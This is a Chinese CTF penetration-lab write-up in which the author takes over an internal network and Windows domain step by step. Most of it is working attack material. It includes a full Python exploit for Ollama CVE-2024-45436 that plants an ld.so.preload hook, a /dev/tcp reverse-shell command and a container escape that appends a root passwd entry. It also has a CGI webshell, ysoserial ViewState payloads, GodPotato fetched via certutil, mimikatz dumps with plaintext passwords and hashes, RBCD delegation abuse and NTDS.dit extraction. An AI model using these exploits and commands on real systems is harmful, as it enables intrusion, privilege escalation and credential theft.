我说白了, 172.22.10.7 和💩有什么区别

外网

略, 在 CISCN WP 那篇里有写

内网

扫描网段

172.22.10.22

172.17.0.1

做代理

ssh -D 1080 -N -f [email protected]

172.17.0.1

没有东西

(icmp) Target 172.17.0.1      is alive 本机
(icmp) Target 172.17.0.2      is alive


172.17.0.1:3306 open
172.17.0.1:8081 open
172.17.0.1:80 open
172.17.0.1:22 open
172.17.0.1:8080 open
172.17.0.2:6379 open
172.17.0.1:6379 open

172.22.10.22

(icmp) Target 172.22.10.22    is alive 本机
(icmp) Target 172.22.10.17    is alive ollama
(icmp) Target 172.22.10.88    is alive
(icmp) Target 172.22.10.253   is alive


172.22.10.88:445 open
172.22.10.88:139 open
172.22.10.88:80 open
172.22.10.17:22 open
172.22.10.88:21 open
172.22.10.88:135 open

ollama

{"version":"0.1.46"}

#!/usr/bin/env python3
import argparse
import hashlib
import json
import os
import subprocess
import zipfile
import requests
import sys
from urllib.parse import urlparse

# Payload template for the malicious shared object
CODE = """#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) myInitFunction() {
    const char *f1 = "/etc/ld.so.preload";
    const char *f2 = "/tmp/hook.so";
    unlink(f1);
    unlink(f2);
    system("bash -c '%s'");
}"""

def print_status(message, is_error=False):
    """Print colored status messages"""
    if is_error:
        print(f"\033[91m[!] {message}\033[0m")
    else:
        print(f"\033[94m[+] {message}\033[0m")

def format_url(url):
    """Format and validate the URL"""
    if not url.startswith(('http://', 'https://')):
        url = 'http://' + url
    
    parsed_url = urlparse(url)
    return f"{parsed_url.scheme}://{parsed_url.netloc}"

def check_vulnerability(target_url):
    """Check if the target is vulnerable"""
    try:
        res = requests.get(f"{target_url}/api/version", timeout=5)
        
        if res.status_code != 200:
            return False
            
        json_data = res.json()
        if "version" not in json_data:
            return False
            
        # Check if version is less than 0.1.47
        v1 = list(map(int, json_data["version"].split('.')))
        v2 = list(map(int, "0.1.47".split('.')))
        
        for num1, num2 in zip(v1, v2):
            if num1 < num2:
                return True
            elif num1 > num2:
                return False
                
        return len(v1) < len(v2)
    except:
        return False

def create_malicious_so(cmd):
    """Generate malicious shared object file"""
    code = CODE % cmd
    with open('tmp.c', 'w') as f:
        f.write(code)

    try:
        subprocess.run(['gcc', 'tmp.c', '-o', 'hook.so', '-fPIC', '-shared', '-ldl', '-D_GNU_SOURCE'], 
                      check=True, stderr=subprocess.PIPE)
        return True
    except subprocess.CalledProcessError as e:
        print_status(f"Failed to compile hook.so: {e.stderr.decode()}", True)
        return False

def create_malicious_zip():
    """Create ZIP file with directory traversal for payload delivery"""
    try:
        with zipfile.ZipFile('evil.zip', 'w') as zipf:
            zipf.writestr('../../../../../../../../../../etc/ld.so.preload', '/tmp/hook.so')
            with open('hook.so', 'rb') as so_file:
                zipf.writestr('../../../../../../../../../../tmp/hook.so', so_file.read())
            with open('all-minilm-22m.gguf', 'rb') as model_file:
                zipf.writestr('../../../../../../../../../../tmp/all-minilm-22m.gguf', model_file.read())
        return True
    except Exception as e:
        print_status(f"Failed to create ZIP: {str(e)}", True)
        return False

def upload_payload(target_url):
    """Upload the payload blob"""
    try:
        with open('evil.zip', 'rb') as f:
            file_content = f.read()
            h = hashlib.sha256()
            h.update(file_content)
            blob_name = f"sha256:{h.hexdigest()}"
            
            f.seek(0)
            res = requests.post(f"{target_url}/api/blobs/{blob_name}", data=f, timeout=10)
            
            if res.status_code != 201:
                print_status(f"Warning: Blob upload returned status {res.status_code}", True)
                
        return blob_name
    except Exception as e:
        print_status(f"Failed to upload blob: {str(e)}", True)
        return None

def create_model(target_url, blob_path):
    """Create a model that references the malicious blob"""
    try:
        json_content = json.dumps({"name": "test", "modelfile": f"FROM /root/.ollama/models/blobs/{blob_path}"})
        res = requests.post(
            f"{target_url}/api/create", 
            headers={'Content-Type': 'application/json'}, 
            data=json_content,
            timeout=10
        )
        print(res.text)
        
        return res.status_code == 200
    except Exception as e:
        print_status(f"Failed to create model: {str(e)}", True)
        return False

def trigger_execution(target_url):
    """Trigger code execution through embeddings API"""
    model = "all-minilm:22m"
    
    for i in range(3):
        print_status(f"Execution attempt {i+1}/3...")
        try:
            json_content = json.dumps({"model": model, "keep_alive": 0})
            res = requests.post(
                f"{target_url}/api/embeddings", 
                headers={'Content-Type': 'application/json'}, 
                data=json_content,
                timeout=15
            )
            
            if res.status_code == 200:
                print(res.text)
                print_status("Execution successful")
                return True
                
        except Exception:
            pass
            
        # Pull the model if it's not available
        try:
            json_content = json.dumps({"name": "all-minilm:22m", "modelfile": f"FROM /tmp/all-minilm-22m.gguf"})
            res = requests.post(
                f"{target_url}/api/create", 
                headers={'Content-Type': 'application/json'}, 
                data=json_content,
                timeout=10
            )
            print(res.text)
        except:
            continue
        
    return False

def cleanup():
    """Clean up temporary files"""
    for f in ['tmp.c', 'hook.so', 'evil.zip']:
        if os.path.exists(f):
            try:
                os.remove(f)
            except:
                pass

def main():
    parser = argparse.ArgumentParser(description='Ollama CVE-2024-45436 Remote Command Execution Exploit')
    parser.add_argument('target', help='Target URL (e.g. http://example.com:11434)')
    parser.add_argument('command', help='Command to execute on the target')
    parser.add_argument('--no-cleanup', action='store_true', help='Do not remove temporary files')
    args = parser.parse_args()

    print("\n=== Ollama CVE-2024-45436 Exploit ===\n")
    
    # Format and validate the URL
    target_url = format_url(args.target)
    print_status(f"Target: {target_url}")
    print_status(f"Command: {args.command}")
    
    # Check if target is vulnerable
    print_status("Checking if target is vulnerable...")
    if not check_vulnerability(target_url):
        print_status("Target does not appear to be vulnerable", True)
        sys.exit(1)
    print_status("Target is vulnerable!")
    
    # Create malicious shared object
    print_status("Creating malicious shared object...")
    if not create_malicious_so(args.command):
        print_status("Failed to create shared object", True)
        cleanup()
        sys.exit(1)
    
    # Create malicious ZIP
    print_status("Creating ZIP payload...")
    if not create_malicious_zip():
        print_status("Failed to create ZIP payload", True)
        cleanup()
        sys.exit(1)
    
    # Upload payload
    print_status("Uploading payload...")
    blob_name = upload_payload(target_url)
    if not blob_name:
        print_status("Failed to upload payload", True)
        cleanup()
        sys.exit(1)
    print_status(f"Payload uploaded: {blob_name}")
    
    # Create model with payload
    print_status("Creating model...")
    if not create_model(target_url, blob_name.replace(':', '-')):
        print_status("Failed to create model", True)
        cleanup()
        sys.exit(1)
    
    # Trigger execution
    print_status("Triggering exploitation...")
    success = trigger_execution(target_url)
    
    # Clean up
    if not args.no_cleanup:
        print_status("Cleaning up temporary files...")
        cleanup()
    
    if success:
        print("\n\033[92m[✓] Exploit completed successfully!\033[0m")
    else:
        print("\n\033[91m[✗] Exploit may have failed. Check if your command executed.\033[0m")
        print("\033[93m    Note: Some commands may execute silently. Check your listener if applicable.\033[0m")
    
    print("\n=== Exploit finished ===\n")

if __name__ == "__main__":
    main()
python3 exp.py http://172.22.10.17:11434 "/bin/sh -i >& /dev/tcp/172.22.10.22/9999 0>&1"

弹完 shell 后发现是个 docker 环境

# cat /proc/self/status | grep CapEff
CapEff:	0000003fffffffff

特权启动,没什么好说的, 直接挂载了

mkdir -p /test && mount /dev/vda3 /test

写个用户 new:123

echo bmV3OiQxJG5ldyRwN3B0a0VLVTFIbmFIcFJ0ek5pelMxOjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA== | base64 -d >> /test/etc/passwd

172.22.10.88

给一个我的示例

SetHandler cgi-script
Options ExecCGI
@echo off
REM CGI 必须先输出响应头
echo Content-Type: text/plain
echo:

"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"

echo:
dir C:\Users\Administrator\Desktop\

echo:
type C:\Users\Administrator\Desktop\f1ag.txt

echo:
net user dionysus qwer1234! /add && net localgroup administrators dionysus /add

172.22.10.7

纯屎, 屎中屎中屎

端口是 8080, /h2-console

给了 postgresql jdbc依赖,

不出外网, 只开了 8080 端口, 内部探测有 139 445 3389, 确定是 Windows 机器

域内

ollama 打进来有两个网段

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.17  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe09:530f  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:09:53:0f  txqueuelen 1000  (Ethernet)
        RX packets 131279  bytes 192562970 (192.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6987  bytes 522365 (522.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.20.11  netmask 255.255.255.0  broadcast 172.22.20.255
        inet6 fe80::216:3eff:fe09:5339  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:09:53:39  txqueuelen 1000  (Ethernet)
        RX packets 5729  bytes 645297 (645.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7298  bytes 693521 (693.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

先搜集一下信息

(icmp) Target 172.22.20.11    is alive (本机)
(icmp) Target 172.22.20.25    is alive
(icmp) Target 172.22.20.32    is alive
(icmp) Target 172.22.20.38    is alive
(icmp) Target 172.22.20.165   is alive
(icmp) Target 172.22.20.253   is alive


start vulscan
[*] NetBios: 172.22.20.25    [+]DC FPCORP\FPSRVAD01         
[*] NetBios: 172.22.20.32    FPCORP\FPSRVFS02               
[*] NetBios: 172.22.20.38    FPCORP\FPSRVIIS03              
[*] NetBios:     FPCORP\FPSRVIIS03-2            
[*] NetInfo:
[*]172.22.20.32
   [->]FPSRVFS02
   [->]172.22.20.32
[*] NetInfo:
[*]172.22.20.38
   [->]FPSRVIIS03
   [->]172.22.20.38
[*] NetInfo:
[*]172.22.20.25
   [->]FPSRVAD01
   [->]172.22.20.25
[*] WebTitle: http://172.22.20.38       code:404 len:315    title:Not Found
[*] NetInfo:
[*]172.22.20.165
   [->]FPSRVIIS03-2
   [->]172.22.20.165
[+] ftp://172.22.20.38:21:anonymous 
   [->]WebDeploy
[*] WebTitle: http://172.22.20.38:8080  code:200 len:5078   title:IntraFetch
[*] WebTitle: https://172.22.20.38:8172 code:404 len:0      title:None

做代理

ssh -J [email protected] -D 0.0.0.0:1081 -N -f [email protected] 

172.22.20.38

依旧ftp

125 Data connection already open; Transfer starting.
07-04-25  09:58AM                 3498 package.deploy-readme.txt
07-04-25  09:58AM                14441 package.deploy.cmd
07-04-25  09:58AM                  446 package.SetParameters.xml
07-04-25  09:58AM                  543 package.SourceManifest.xml
07-04-25  09:58AM             12105992 package.zip
226 Transfer complete.
ftp> 

分析一下就知道是 net 反序列化, 收集几个关键的数据

验证密钥validationKey配置为1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD

解密密钥decryptionKey配置为6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1

验证算法validation配置为SHA1

解密算法decryption配置为AES

最终 poc, 注意一下 csrf_token 作为了viewstateuserkey

.\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="b542e0802c6d419cbb7d7a0d9ac29db1" --isdebug

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass2.cs;./System.dll;./System.Web.dll" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="b542e0802c6d419cbb7d7a0d9ac29db1" --isdebug

ExploitClass2.cs里是个马,然后传参带上 cmd,执行命令

搜集一下 whoami /priv


特权名                        描述                 状态  
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeAuditPrivilege              生成安全审核         已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用

用GodPotato提权

certutil.exe -urlcache -split -f http://172.22.10.17/GodPotato.exe C:\Windows\Temp\GodPotato.exe

C:\Windows\Temp\GodPotato.exe -cmd "net user dionysus qwer1234! /add"
C:\Windows\Temp\GodPotato.exe -cmd "net localgroup administrators dionysus /add" 

RDP登录上去猕猴桃抓一下

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

可以抓到管理 hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c4959ee9eaac8a9adb8beda8ab0fc6bd:::

访问文件系统

impacket-smbclient -hashes aad3b435b51404eeaad3b435b51404ee:c4959ee9eaac8a9adb8beda8ab0fc6bd -no-pass -dc-ip 172.22.20.25 'FPCORP/[email protected]'

有东西但是不知道怎么用,filesrv 全是垃圾

ADMIN$
C$
filesrv
IPC$

芝士雪豹

这个时候跑一下SharpHound搜集信息,了解一下思路

非常清晰, 拿 LIU 账户权限, 利用 GenericWrite 属性, 打 RBCD, 之后抓 SVC_BKPADMIN的 hash, CanPSRemote 过去之后提权即可.

172.22.20.165

38 那台 flag 同目录下提示, 去找 vs 的被下载的日志, 发现两分钟被下载一次

我是真不理解, 定时轮询拉的 exe, 替换 exe 后拿不到监听.

免杀

真相是有个 defender, 向学长借一个马. flag 在 administrator桌面, 用户就是 administrator 组, 只不过要bypassUAC绕过

172.22.20.32

此处有个非常恶心人的东西, 装 360 关掉 Windows Defender 后, 总是弹出有问题要重启, 然后需要的 liu 账户就消失了

HashDump.exe 转储一下

Authentication Id : 0 ; 128183 (00000000:0001f4b7)
Session           : Service from 0
User Name         : liu654
Domain            : FPCORP
Logon Server      : FPSRVAD01
Logon Time        : 2025/8/11 23:12:32
SID               : S-1-5-21-3225782379-1150096479-4236096888-1138
        msv :
         [00000003] Primary
         * Username : liu654
         * Domain   : FPCORP
         * NTLM     : 9d0692eade0a6529acb5f0b122ae8763
         * SHA1     : ab55a10d983dfb60e0f633175af8e6e939bfb020
         * DPAPI    : 769347cc561870207141327479e8be4e
        tspkg :
        wdigest :
         * Username : liu654
         * Domain   : FPCORP
         * Password : (null)
        kerberos :
         * Username : liu654
         * Domain   : FPCORP.INT
         * Password : p1Uf^yko@+yHS
        ssp :
        credman :
        cloudap :

之前分析一下域内关系就知道, 拿到liu654的账户之后,接下来是经典的 RBCD 了

addcomputer.py -method SAMR FPCORP.INT/liu654:'p1Uf^yko@+yHS' -computer-name test\$ -computer-pass Passw0rd -dc-ip 172.22.20.25

rbcd.py FPCORP.INT/liu654 -hashes :9d0692eade0a6529acb5f0b122ae8763 -dc-ip 172.22.20.25 -action write -delegate-to FPSRVFS02\$ -delegate-from test\$

之后就连上去了, 注意别用 psexec,会被Windows defender 杀掉的

export KRB5CCNAME=administrator@[email protected]

wmiexec.py [email protected] -k -no-pass -dc-ip 172.22.20.25 -codec gbk

拿到权限之后上去直接抓 hash

Authentication Id : 0 ; 95966 (00000000:000176de)
Session           : Service from 0
User Name         : svc_bkpadmin
Domain            : FPCORP
Logon Server      : FPSRVAD01
Logon Time        : 2025/8/11 23:12:54
SID               : S-1-5-21-3225782379-1150096479-4236096888-1176
        msv :
         [00000003] Primary
         * Username : svc_bkpadmin
         * Domain   : FPCORP
         * NTLM     : f2f3e075ca082813f0d8191f947b0e01
         * SHA1     : 272514fca4ff5d1dbde31190d29158693c788333
         * DPAPI    : f5b7f440b2e68c1592f2dd9d7d8e0466
        tspkg :
        wdigest :
         * Username : svc_bkpadmin
         * Domain   : FPCORP
         * Password : (null)
        kerberos :
         * Username : svc_bkpadmin
         * Domain   : FPCORP.INT
         * Password : kzmR^lBw1!8BL
        ssp :
        credman :
        cloudap :

172.22.20.25 域控

有了用户名和密码, 有CanPSRemote权限, 直接拿下

evil-winrm -i 172.22.20.25 -u svc_bkpadmin -p 'kzmR^lBw1!8BL'
特权信息
----------------------

特权名                        描述             状态
============================= ================ ======
SeMachineAccountPrivilege     将工作站添加到域 已启用
SeBackupPrivilege             备份文件和目录   已启用
SeRestorePrivilege            还原文件和目录   已启用
SeShutdownPrivilege           关闭系统         已启用
SeChangeNotifyPrivilege       绕过遍历检查     已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集   已启用

之后是卷影复制,记得用unix2dos raj.dsh转一下格式

#raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

转储一下文件

#上传之后
diskshadow /s raj.dsh
RoboCopy /b z:\windows\ntds . ntds.dit

reg save HKLM\system C:\Windows\Temp\system /y

evil-winrm直接 download 下来, impacket-secretsdump -ntds ntds.dit -system system local

可以拿到管理员的 hash 972ffc4a036603066d388a1e28b4f583 , 直接拿下最后一台机器

wmiexec.py -hashes :972ffc4a036603066d388a1e28b4f583 [email protected] -codec gbk